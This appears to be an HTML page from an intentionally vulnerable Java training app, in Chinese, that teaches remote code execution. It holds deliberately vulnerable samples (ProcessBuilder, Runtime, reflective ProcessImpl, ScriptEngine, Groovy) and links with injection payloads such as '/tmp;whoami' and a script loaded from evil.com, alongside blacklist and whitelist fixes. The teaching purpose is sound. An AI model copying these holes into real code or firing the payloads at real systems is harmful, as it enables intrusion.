<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:replace="~{commons/commons::head}"></div>

<body>
<!-- 顶部导航栏 -->
<div th:replace="~{commons/commons::topbar}"></div>

<div class="container-fluid">
    <div class="row">
        <!-- 侧边栏 -->
        <div th:replace="~{commons/commons::siderbar(active='rce.html')}"></div>

        <main role="main" class="col-md-10 offset-md-2 pt-3 main">
            <div class="card">
                <div class="card-header py-1">
                    <div class="vul_header">
                        <span>远程代码执行</span>
                        <span class="header_link">
                            <a class="btn btn-sm btn-primary" href="#">漏洞案例</a>
                            <a class="btn btn-sm btn-primary" href="#">wiki</a>
                        </span>
                    </div>
                </div>
                <div class="card-body">
                    <ul class="nav nav-tabs">
                        <li class="nav-item">
                            <a class="nav-link active" data-toggle="tab" href="#vulDescription">
                                漏洞描述</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" data-toggle="tab" href="#secureCoding"> 安全编码</a>
                        </li>
                    </ul>

                    <div class="tab-content">
                        <div class="tab-pane active" id="vulDescription">
                            <div class="alert alert-desc"><i class="lnr lnr-alarm"></i>
                                RCE (Remote Code
                                Execution)，远程代码执行漏洞，是指攻击者通过远程方式在目标系统上执行恶意代码或命令，从而控制系统或者窃取敏感信息等行为。这里包含两类漏洞:<br><br>
                                命令注入（Command Injection），在某种开发需求中，需要引入对系统本地命令的支持来完成特定功能，当未对输入做过滤时，则会产生命令注入<br>
                                代码注入（Code Injection），在正常的java程序中注入一段java代码并执行，即用户输入的数据当作java代码进行执行。
                            </div>
                        </div>
                        <div class="tab-pane fade" id="secureCoding">
                            <div class="alert alert-desc">
                                <li>【建议】避免不可信数据拼接操作系统命令</li>
                                当不可信数据存在时，应尽量避免外部数据拼接到操作系统命令使用 Runtime 和 ProcessBuilder
                                来执行。优先使用其他同类操作进行代替，比如通过文件系统API进行文件操作而非直接调用操作系统命令。

                                <li>【必须】避免创建SHELL操作</li>
                                禁止外部数据直接直接作为操作系统命令执行。<br>
                                避免通过"cmd"、“bash”、“sh”等命令创建shell后拼接外部数据来执行操作系统命令。<br>
                                对外部传入数据进行过滤。可通过白名单限制字符类型，仅允许字符、数字、下划线；或过滤转义以下符号：|;&$><`（反引号）!
                            </div>
                        </div>
                    </div>

                </div>
            </div>

            <div class="box-float">
                <div class="float1">
                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       th:href="@{/vulnapi/RCE/ProcessBuilder/vul?filepath=/tmp;whoami}">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - ProcessBuilder方式</span></h5>

                    <textarea class="form-control" id="code1" aria-label="code1">
// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件，但攻击者通过拼接; & |等连接符来执行自己的命令。

public static String processbuilderVul(String filepath) throws IOException {
    String[] cmdList = {"sh", "-c", "ls -l " + filepath};
    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    Process process = pb.start();

    // 获取命令的输出
    InputStream inputStream = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    StringBuilder output = new StringBuilder();
    while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
    }
    return output.toString();
}
                    </textarea><br><br>

                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       th:href="@{/vulnapi/RCE/Runtime/vul?cmd=id}">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - Runtime方式</span></h5>
                    <textarea class="form-control" id="code2">
// Runtime.getRuntime().exec(cmd)

public static String vul(String cmd) {
    StringBuilder sb = new StringBuilder();
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        InputStream fis = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
     ...
                    </textarea><br><br>

                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       href="/vulnapi/RCE/ProcessImpl/vul?cmd=id">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - ProcessImpl</span></h5>
                    <textarea class="form-control" id="code5">
// ProcessImpl 是更为底层的实现，Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用，但可以通过反射来间接调用ProcessImpl来达到执行命令的目的

public static String vul(String cmd) throws Exception {
    // 首先，使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后，使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
    method.setAccessible(true);

    // 最后，使用 method.invoke 方法来调用 start 方法，并传入参数 cmd，执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
                    </textarea><br><br>

                    <hr>
                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       th:href="@{/vulnapi/RCE/ScriptEngine/vul?url=http://evil.com/java/1.js}">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - 脚本引擎代码注入</span></h5>
                    <textarea class="form-control" id="code3">
// 通过加载远程js文件来执行代码，如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    engine.eval(payload, bindings);
}
                    </textarea><br><br>

                    <a style="float:right" class="btn btn-sm btn-danger" target="_blank"
                       href="/vulnapi/RCE/Groovy/vul?cmd='open -a Calculator'.execute()">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-bug"> 漏洞代码 - Groovy执行命令</span></h5>
                    <textarea class="form-control" id="code4">
// 不安全的使用Groovy调用命令

import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
    GroovyShell shell = new GroovyShell();
    shell.evaluate(cmd);
}
                    </textarea><br><br>

                </div>

                <div class="float2">
                    <a style="float:right" class="btn btn-sm btn-success" target="_blank"
                       th:href="@{/vulnapi/RCE/ProcessBuilder/safe?filepath=/tmp;whoami}">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码 - 过滤方式</span></h5>
                    <textarea class="form-control" id="code6">
// 自定义黑名单，这里过滤了常见的管道符，可自行添加

public static boolean checkOs(String content) {
    String[] black_list = {"|", ",", "&", "&&", ";", "||"};
    for (String s : black_list) {
        if (content.contains(s)) {
            return true;
        }
    }
    return false;
}
                    </textarea><br><br>

                    <a style="float:right" class="btn btn-sm btn-success" target="_blank"
                       th:href="@{/vulnapi/RCE/Runtime/safe?cmd=whoami}">
                        <svg xmlns="http://www.w3.org/2000/svg" width="13" height="13" fill="currentColor"
                             viewBox="0 0 16 16">
                            <path d="m12.14 8.753-5.482 4.796c-.646.566-1.658.106-1.658-.753V3.204a1 1 0 0 1 1.659-.753l5.48 4.796a1 1 0 0 1 0 1.506z"/>
                        </svg>
                        <span class="align-middle"> Run</span></a>
                    <h5><span class="lnr lnr-smile"> 安全代码 - 白名单方式</span></h5>
                    <textarea class="form-control" id="code7">
// 使用白名单替换黑名单。黑名单需要不断更新，而白名单只需要指定允许执行的命令，更容易维护。

public static String safe(String cmd) {
    // 定义命令白名单
    Set<String> commands = new HashSet<\>();
    commands.add("ls");
    commands.add("pwd");

    // 检查用户提供的命令是否在白名单中
    String command = cmd.split("\\s+")[0];
    if (!commands.contains(command)) {
        return "命令不在白名单中";
    }
    ...
}
                    </textarea>

                </div>
            </div>
        </main>
    </div>
</div>

<!-- 引入script -->
<div th:replace="~{commons/commons::script}"></div>


</body>

</html>